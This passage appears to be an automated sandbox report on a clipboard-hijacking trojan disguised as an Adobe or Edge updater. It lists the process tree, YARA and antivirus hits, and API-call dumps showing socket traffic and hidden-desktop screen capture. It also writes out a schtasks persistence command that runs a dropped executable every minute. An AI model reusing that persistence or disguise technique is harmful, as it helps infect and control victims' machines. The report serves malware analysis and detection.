Path:	C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000026.00000002.1907034183.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000026.00000002.1907034183.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	14:43:52
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0xd00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	14:43:52
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	14:44:00
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000029.00000002.1986808153.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000029.00000002.1986808153.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	14:44:01
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0xd00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	14:44:01
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	14:44:01
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000002C.00000002.3795988174.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000002C.00000002.3795988174.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	14:44:02
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0xd00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	14:44:02
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10%
Dynamic/Decrypted Code Coverage:	0.7%
Signature Coverage:	15.8%
Total number of Nodes:	412
Total number of Limit Nodes:	47

Executed Functions

Function 068E3B60 Relevance: 346.6, APIs: 77, Strings: 115, Instructions: 10593networkCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 068E4E33
send.WS2_32(?,?,?,00000000), ref: 068E5003
__aulldiv.LIBCMT ref: 068E4954

Part of subcall function 068D4630: __aulldiv.LIBCMT ref: 068D46B2

Strings

J9q=, xrefs: 068EC3C5
J9q=, xrefs: 068EA870
J9q=, xrefs: 068E9BC5
J9q=, xrefs: 068E99F4
J9q=, xrefs: 068EFE3A
J9q=, xrefs: 068EDF6C
J9q=, xrefs: 068EA138
J9q=, xrefs: 068ED1D3
J9q=, xrefs: 068EB3DF
J9q=, xrefs: 068F0230
J9q=, xrefs: 068F0485
J9q=, xrefs: 068EDF1E
J9q=, xrefs: 068EBEC8
J9q=, xrefs: 068E96A0
J9q=, xrefs: 068E9FB5
J9q=, xrefs: 068E9F67
J9q=, xrefs: 068EEE93
J9q=, xrefs: 068EA6F0
J9q=, xrefs: 068EC8BD
J9q=, xrefs: 068ED82E
J9q=, xrefs: 068E94C3
eZQN, xrefs: 068EAEAB
J9q=, xrefs: 068E9D96
J9q=, xrefs: 068E67DA
eZQN, xrefs: 068EF370
J9q=, xrefs: 068EF78A
J9q=, xrefs: 068ECE31
J9q=, xrefs: 068EA306
J9q=, xrefs: 068EDC90
J9q=, xrefs: 068E7E66
J9q=, xrefs: 068EA6A2
$9q=, xrefs: 068EDC42
J9q=, xrefs: 068EE18C
J9q=, xrefs: 068EF9DB
J9q=, xrefs: 068EFF91
J9q=, xrefs: 068EA354
J9q=, xrefs: 068EDA78
J9q=, xrefs: 068EFDEC
J9q=, xrefs: 068EC1F4
J9q=, xrefs: 068EE512
$9q=, xrefs: 068EF98D
ly>, xrefs: 068EB4B1
J9q=, xrefs: 068EC242
J9q=, xrefs: 068ED87C
J9q=, xrefs: 068EBE7A
/9q=, xrefs: 068EE873
J9q=, xrefs: 068ED356
J9q=, xrefs: 068EAD12
>9q=, xrefs: 068F0735
8PBQfHbpTePWgDg, xrefs: 068EB845, 068EBD37, 068EC006, 068EC0CD, 068EF551, 068F05C6, 068F064C
J9q=, xrefs: 068E7E18
J9q=, xrefs: 068E6828
J9q=, xrefs: 068EA4D4
J9q=, xrefs: 068ECC12
J9q=, xrefs: 068EA186
eZQN, xrefs: 068EBB6F
J9q=, xrefs: 068EFAE6
J9q=, xrefs: 068F00A7
J9q=, xrefs: 068ECDE3
J9q=, xrefs: 068EA8BE
J9q=, xrefs: 068EF1A9
J9q=, xrefs: 068E9A42
J9q=, xrefs: 068E9652
J9q=, xrefs: 068EFCA1
J9q=, xrefs: 068EF67F
J9q=, xrefs: 068EF09E
J9q=, xrefs: 068ED002
J9q=, xrefs: 068EBC17
J9q=, xrefs: 068EE4C4
&Uq=, xrefs: 068EACC4
/9q=, xrefs: 068ECFB4
J9q=, xrefs: 068F0101
J9q=, xrefs: 068EF050
J9q=, xrefs: 068E9DE4
r~#l, xrefs: 068EB0F1
J9q=, xrefs: 068EFCEF
J9q=, xrefs: 068E9823
J9q=, xrefs: 068EDA2A
J9q=, xrefs: 068F0B2D
J9q=, xrefs: 068F042B
;in%, xrefs: 068EBB9C
J9q=, xrefs: 068ECC60
J9q=, xrefs: 068EE6FD
J9q=, xrefs: 068E9871
$9q=, xrefs: 068ECA41
J9q=, xrefs: 068EFF37
Button, xrefs: 068EDE06
J9q=, xrefs: 068EE13E
J9q=, xrefs: 068EF1F7
J9q=, xrefs: 068EAA8C
/Uq=, xrefs: 068ED185
/Uq=, xrefs: 068EE6AF
J9q=, xrefs: 068F01E2
J9q=, xrefs: 068E9475
J9q=, xrefs: 068EAA3E
J9q=, xrefs: 068EF418
J9q=, xrefs: 068F088E
J9q=, xrefs: 068EA522
J9q=, xrefs: 068E9C13
J9q=, xrefs: 068F08DC
),', xrefs: 068F0C62, 068F0C71, 068F0C88, 068F0C94, 068F097B, 068F097E
J9q=, xrefs: 068EED3B
J9q=, xrefs: 068EAF53
J9q=, xrefs: 068EF7D8
J9q=, xrefs: 068EC86F
,', xrefs: 068F0BF8
J9q=, xrefs: 068EE8C1
J9q=, xrefs: 068EFB34
J9q=, xrefs: 068ECA8F
J9q=, xrefs: 068F0783
|W, xrefs: 068EB1A0
J9q=, xrefs: 068EB9D6
J9q=, xrefs: 068EC413
J9q=, xrefs: 068EB988
J9q=, xrefs: 068ED3A4

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: __aulldiv$send
String ID: $9q=$$9q=$$9q=$&Uq=$),'$,'$/9q=$/9q=$/Uq=$/Uq=$8PBQfHbpTePWgDg$;in%$>9q=$Button$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$eZQN$eZQN$eZQN$r~#l$|W$ly>
API String ID: 3864168910-919599744
Opcode ID: 1b360d2447b3b75470cf7b8a0ae504701e774c79bba682b8ca4f7a09b052fc33
Instruction ID: 7a5e2b0eac222e1cc6d727eace2559a75b3c804124716d104748447ce6731298
Opcode Fuzzy Hash: 1b360d2447b3b75470cf7b8a0ae504701e774c79bba682b8ca4f7a09b052fc33
Instruction Fuzzy Hash: 8754FC74E092A88ADB65CF28C894AEDBBB1AF89304F1481DAD94DA7351DB305FC5CF41

Uniqueness

Uniqueness Score: -1.00%

Function 005DF730 Relevance: 112.5, APIs: 7, Strings: 56, Instructions: 2202COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,00000000,00000000,00000000,?), ref: 005E02CB
SHGetFolderPathA.SHELL32(00000000,00000005,00000000,00000000,?), ref: 005E05C7
SHGetFolderPathA.SHELL32(00000000,00000028,00000000,00000000,?), ref: 005E08C5
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 005E0C25
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 005E0F53
SHGetFolderPathA.SHELL32(00000000,00000008,00000000,00000000,?), ref: 005E1257
Concurrency::cancel_current_task.LIBCPMT ref: 005E2001

Strings

v<Ea, xrefs: 005E021B
v<Ea, xrefs: 005E0EA8
v<Ea, xrefs: 005E131B
v<Ea, xrefs: 005E2963
v<Ea, xrefs: 005E1A2B
v<Ea, xrefs: 005E098B
cannot get value, xrefs: 005E1F7E, 005E20B8
cannot compare iterators of different containers, xrefs: 005E1FBD
type must be boolean, but is , xrefs: 005E2027
v<Ea, xrefs: 005E2B9C
v<Ea, xrefs: 005E29AF
hn, xrefs: 005E2196
v<Ea, xrefs: 005E2BE8
v<Ea, xrefs: 005E162F
v<Ea, xrefs: 005E18D0
v<Ea, xrefs: 005E1568
v<Ea, xrefs: 005E181A
v<Ea, xrefs: 005DFA6D
S<Ea, xrefs: 005E0CA1
v<Ea, xrefs: 005E0CED
v<Ea, xrefs: 005E038F
v<Ea, xrefs: 005E101B
v<Ea, xrefs: 005E1166
0u$, xrefs: 005E093F
S<Ea, xrefs: 005E0343
"o`a, xrefs: 005E04D6
v<Ea, xrefs: 005E23D3
S<Ea, xrefs: 005E01CF
v<Ea, xrefs: 005E2310
v<Ea, xrefs: 005DFB4F
v<Ea, xrefs: 005E068B
"o`a, xrefs: 005E063F
v<Ea, xrefs: 005E17CE
0u$, xrefs: 005E07CE
v<Ea, xrefs: 005E11B2
v<Ea, xrefs: 005E19DF
v<Ea, xrefs: 005E151C
v<Ea, xrefs: 005E27CB
v<Ea, xrefs: 005E241F
v<Ea, xrefs: 005DFE93
v<Ea, xrefs: 005E0B79
v<Ea, xrefs: 005E22BE
v<Ea, xrefs: 005DFD3C
v<Ea, xrefs: 005E0522
v<Ea, xrefs: 005E2817
v<Ea, xrefs: 005E167B
v<Ea, xrefs: 005E12CF
v<Ea, xrefs: 005E191C
v<Ea, xrefs: 005E312C
v<Ea, xrefs: 005DF988
type must be string, but is , xrefs: 005E207B
v<Ea, xrefs: 005DFE47
v<Ea, xrefs: 005E081A
v<Ea, xrefs: 005E30E0
v<Ea, xrefs: 005DF8A3
S<Ea, xrefs: 005E0B2D

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: FolderPath$Concurrency::cancel_current_task
String ID: "o`a$"o`a$0u$$0u$$S<Ea$S<Ea$S<Ea$S<Ea$cannot compare iterators of different containers$cannot get value$type must be boolean, but is $type must be string, but is $v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$hn
API String ID: 3121987327-3836408008
Opcode ID: 8860f5e5f4aa76a05bc1a8aea1f721ee639fc74360b0f7129233f08e5db56f35
Instruction ID: dede6b138377b801ce5570feae42656292cb4873e6e7c1a3a6500d74213be296
Opcode Fuzzy Hash: 8860f5e5f4aa76a05bc1a8aea1f721ee639fc74360b0f7129233f08e5db56f35
Instruction Fuzzy Hash: 734300B4D052698BDB25CF28C854BEDBBB5BF49304F1082D9D899A7281EB706F84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 068FC230 Relevance: 68.7, APIs: 37, Strings: 2, Instructions: 474
threadsleepwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadExecutionState.KERNEL32 ref: 068FC253
SetThreadExecutionState.KERNEL32 ref: 068FC262
CreateThread.KERNEL32(00000000,00000000,068F1980,00000000,00000000,00000000), ref: 068FC277
CloseHandle.KERNEL32(00000000), ref: 068FC28A
GetDesktopWindow.USER32 ref: 068FC290
GetWindowRect.USER32 ref: 068FC2AA
GetSystemMetrics.USER32 ref: 068FC2CA
GetSystemMetrics.USER32 ref: 068FC2DB
GetDC.USER32 ref: 068FC301
CreateCompatibleDC.GDI32 ref: 068FC339
CreateCompatibleBitmap.GDI32 ref: 068FC35B
SelectObject.GDI32(00000000,00000000), ref: 068FC376
shutdown.WS2_32(?,00000002), ref: 068FC484
closesocket.WS2_32 ref: 068FC49F
SetThreadDesktop.USER32(00000104), ref: 068FC505
Sleep.KERNEL32(00000064), ref: 068FC518
GetCurrentThreadId.KERNEL32 ref: 068FC527
GetThreadDesktop.USER32(00000000), ref: 068FC52E
SetThreadDesktop.USER32(00000AFC), ref: 068FC543
GetCurrentThreadId.KERNEL32 ref: 068FC549
GetThreadDesktop.USER32(00000000), ref: 068FC550
BitBlt.GDI32 ref: 068FC5B0
DeleteObject.GDI32(00000000), ref: 068FC600
DeleteDC.GDI32 ref: 068FC60A
ReleaseDC.USER32 ref: 068FC622
Sleep.KERNEL32(000003E8), ref: 068FC6C1
GetSystemMetrics.USER32 ref: 068FC6E3
GetSystemMetrics.USER32 ref: 068FC6F1
GetCurrentThreadId.KERNEL32 ref: 068FC70C
GetThreadDesktop.USER32(00000000), ref: 068FC713
SwitchDesktop.USER32(00000104), ref: 068FC83E
SetThreadDesktop.USER32(00000AFC), ref: 068FC84B
Sleep.KERNEL32(?), ref: 068FC8DB
Sleep.KERNEL32(00000BB8), ref: 068FC926
DeleteObject.GDI32(00000000), ref: 068FC935
DeleteDC.GDI32 ref: 068FC93F
ReleaseDC.USER32 ref: 068FC958

Strings

P, xrefs: 068FC8CD
8PBQfHbpTePWgDg, xrefs: 068FC72E

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: Thread$Desktop$DeleteMetricsSleepSystem$CreateCurrentObject$CompatibleExecutionReleaseStateWindow$BitmapCloseHandleRectSelectSwitchclosesocketshutdown
String ID: 8PBQfHbpTePWgDg$P
API String ID: 1429317180-221328822
Opcode ID: 2e16103b24db4235bea73aaab75cdd69ff5c3d9bced34ab074f1a53719ba9fa6
Instruction ID: 8964d8b8b66b30ac224634d7901fdfe8f5249ca98889fcabd246f0ecce726e1d
Opcode Fuzzy Hash: 2e16103b24db4235bea73aaab75cdd69ff5c3d9bced34ab074f1a53719ba9fa6
Instruction Fuzzy Hash: 24226C78E58258DFDB54CFA8D884FAEBBB2BF48300F108199E609A7784D7759A40CF51

Uniqueness

Uniqueness Score: -1.00%

Function 068FC990 Relevance: 47.8, APIs: 14, Strings: 13, Instructions: 575
librarythreadloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadExecutionState.KERNEL32 ref: 068FC9BB
SetThreadExecutionState.KERNEL32 ref: 068FC9CA

Part of subcall function 068DD3F0: ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(068FCA21,00000001,0694A924,00000000), ref: 068DD41D

GetVersion.KERNEL32 ref: 068FC9E3
GetCurrentThreadId.KERNEL32 ref: 068FCA24
GetThreadDesktop.USER32(00000000), ref: 068FCA2B
LoadLibraryA.KERNEL32(?,?,0000000F), ref: 068FCB9A
GetProcAddress.KERNEL32(00000000,?), ref: 068FCD93
GetProcAddress.KERNEL32(00000000,?), ref: 068FCF7E
LoadLibraryA.KERNEL32(?), ref: 068FD09B
GetProcAddress.KERNEL32(00000000,?), ref: 068FD367
LoadLibraryA.KERNEL32(?), ref: 068FD4B0
GdiplusStartup.GDIPLUS(?,00000001,00000000), ref: 068FD4F7
CreateThread.KERNEL32(00000000,00000000,068FC230,00000000,00000000,00000000), ref: 068FD50C
CloseHandle.KERNEL32(00000000), ref: 068FD528

Strings

&9q=, xrefs: 068FCADB
J9q=, xrefs: 068FD206
J9q=, xrefs: 068FCCAB
D:(D;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 068FCA12
u]l3, xrefs: 068FCE1E
J9q=, xrefs: 068FD02A
S:(ML;;NW;;;LW), xrefs: 068FC9FE
J9q=, xrefs: 068FCE96
_ou(, xrefs: 068FD134
J9q=, xrefs: 068FD43F
&9q=, xrefs: 068FCFDC
J9q=, xrefs: 068FCB29
8PBQfHbpTePWgDg, xrefs: 068FCA56

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: Thread$AddressLibraryLoadProc$DescriptorExecutionSecurityState$CloseConvertCreateCurrentDesktopGdiplusHandleStartupStringVersion
String ID: &9q=$&9q=$8PBQfHbpTePWgDg$D:(D;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$S:(ML;;NW;;;LW)$_ou($u]l3
API String ID: 4097687401-971679798
Opcode ID: ba24ce2a3658411054bc9a3866b906ee429e6e0dd296def81a3c8378aaaf98c5
Instruction ID: 4cf2f0d749c6366e8736b9dc7c1ce5e607f045f04157e3ce74240709f6050b9b
Opcode Fuzzy Hash: ba24ce2a3658411054bc9a3866b906ee429e6e0dd296def81a3c8378aaaf98c5
Instruction Fuzzy Hash: 3272E074D096A88BDB26CF6898817EDBBB1AF59304F1081D9DA8CA7211EB301BC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 068F1980 Relevance: 33.6, APIs: 16, Strings: 2, Instructions: 2090networkthreadsleepCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32 ref: 068F19C0
SetThreadExecutionState.KERNEL32 ref: 068F19CF
GetCurrentThreadId.KERNEL32 ref: 068F19E2
GetThreadDesktop.USER32(00000000), ref: 068F19E9
SetThreadDesktop.USER32(00000AFC), ref: 068F19FE
recv.WS2_32(00000B14,00000000,00000004,00000002), ref: 068F1A58
WSAGetLastError.WS2_32 ref: 068F1A61
__aulldiv.LIBCMT ref: 068F28DF

Part of subcall function 068D4630: __aulldiv.LIBCMT ref: 068D46B2

__aulldiv.LIBCMT ref: 068F2DA8
send.WS2_32(?,?,?,00000000), ref: 068F2F53
recv.WS2_32(?,?,0000000C,00000002), ref: 068F3148
recv.WS2_32(?,?,0000000C,00000008), ref: 068F320A
recv.WS2_32(?,?,00000000,00000008), ref: 068F33C6
Sleep.KERNEL32(0000000A), ref: 068F4093
Sleep.KERNEL32(00000001), ref: 068F409B

Strings

J9q=, xrefs: 068F1B87
J9q=, xrefs: 068F1B3C

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: Thread$recv$__aulldiv$DesktopExecutionSleepState$CurrentErrorLastsend
String ID: J9q=$J9q=
API String ID: 4270644286-1087566249
Opcode ID: 0609fd75ce4b5c4b0ccdd41592f84775b3d22dc2c0ce52b7d7020b43b273d50f
Instruction ID: 046fcfaec9736f9781906c74e50b0e645c35ca97033f01f45b1c04034ad14fb5
Opcode Fuzzy Hash: 0609fd75ce4b5c4b0ccdd41592f84775b3d22dc2c0ce52b7d7020b43b273d50f
Instruction Fuzzy Hash: A043C0B4D056688FDBA4CF58C894BEDBBB1AF89304F1081DAD649A7341DB319E85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 005E2100 Relevance: 33.0, APIs: 3, Strings: 15, Instructions: 1490COMMON

Download Yara Rule

Strings

v<Ea, xrefs: 005E2963
v<Ea, xrefs: 005E33E9
v<Ea, xrefs: 005E22BE
hn, xrefs: 005E3819
v<Ea, xrefs: 005E3435
v<Ea, xrefs: 005E2B9C
v<Ea, xrefs: 005E2817
v<Ea, xrefs: 005E29AF
v<Ea, xrefs: 005E2BE8
v<Ea, xrefs: 005E312C
v<Ea, xrefs: 005E27CB
v<Ea, xrefs: 005E241F
v<Ea, xrefs: 005E30E0
v<Ea, xrefs: 005E23D3
v<Ea, xrefs: 005E2310

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID:
String ID: v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$hn
API String ID: 0-3484391350
Opcode ID: ed98829b11c3416f68be96f4ba03b8fbecb71f5d3ed554165ddfb21aa25886b0
Instruction ID: 874992e24fe9fb3dd6b70255b01cae1326fb60a62b6a91a6ffe9e26d926abd2c
Opcode Fuzzy Hash: ed98829b11c3416f68be96f4ba03b8fbecb71f5d3ed554165ddfb21aa25886b0
Instruction Fuzzy Hash: DEE28B71D002998BDB29CF68C8887EDBBB5BF45300F1482D9D899AB292DB705F85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 068DA230 Relevance: 28.8, APIs: 4, Strings: 12, Instructions: 807
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 068DA1E0: GetCurrentProcess.KERNEL32(00000000), ref: 068DA1F4
Part of subcall function 068DA1E0: IsWow64Process.KERNEL32(00000000), ref: 068DA1FB

RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000,?,?,?), ref: 068DA65B
RegQueryValueExA.KERNEL32(?,?,00000000,00020019,?,00000400), ref: 068DA7C5
RegCloseKey.ADVAPI32(00000000), ref: 068DA83D
GetCurrentHwProfileA.ADVAPI32(?), ref: 068DA97E

Strings

J9q=, xrefs: 068DA30E
J9q=, xrefs: 068DACF6
J9q=, xrefs: 068DA8E4
J9q=, xrefs: 068DA35C
J9q=, xrefs: 068DA72A
J9q=, xrefs: 068DAC2D
J9q=, xrefs: 068DA896
J9q=, xrefs: 068DA565
J9q=, xrefs: 068DAD44
J9q=, xrefs: 068DAA7C
J9q=, xrefs: 068DABD3
J9q=, xrefs: 068DAAD6

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: CurrentProcess$CloseOpenProfileQueryValueWow64
String ID: J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=
API String ID: 165412945-3386997800
Opcode ID: fbe6f429abbcb42431c94e8fb98b210ef9c469ccbb86da7f67ad20944010d9fc
Instruction ID: a8e2e9c89f25fc1547447608a363a363b24c7d6b7cd985fd6159618c778c9b25
Opcode Fuzzy Hash: fbe6f429abbcb42431c94e8fb98b210ef9c469ccbb86da7f67ad20944010d9fc
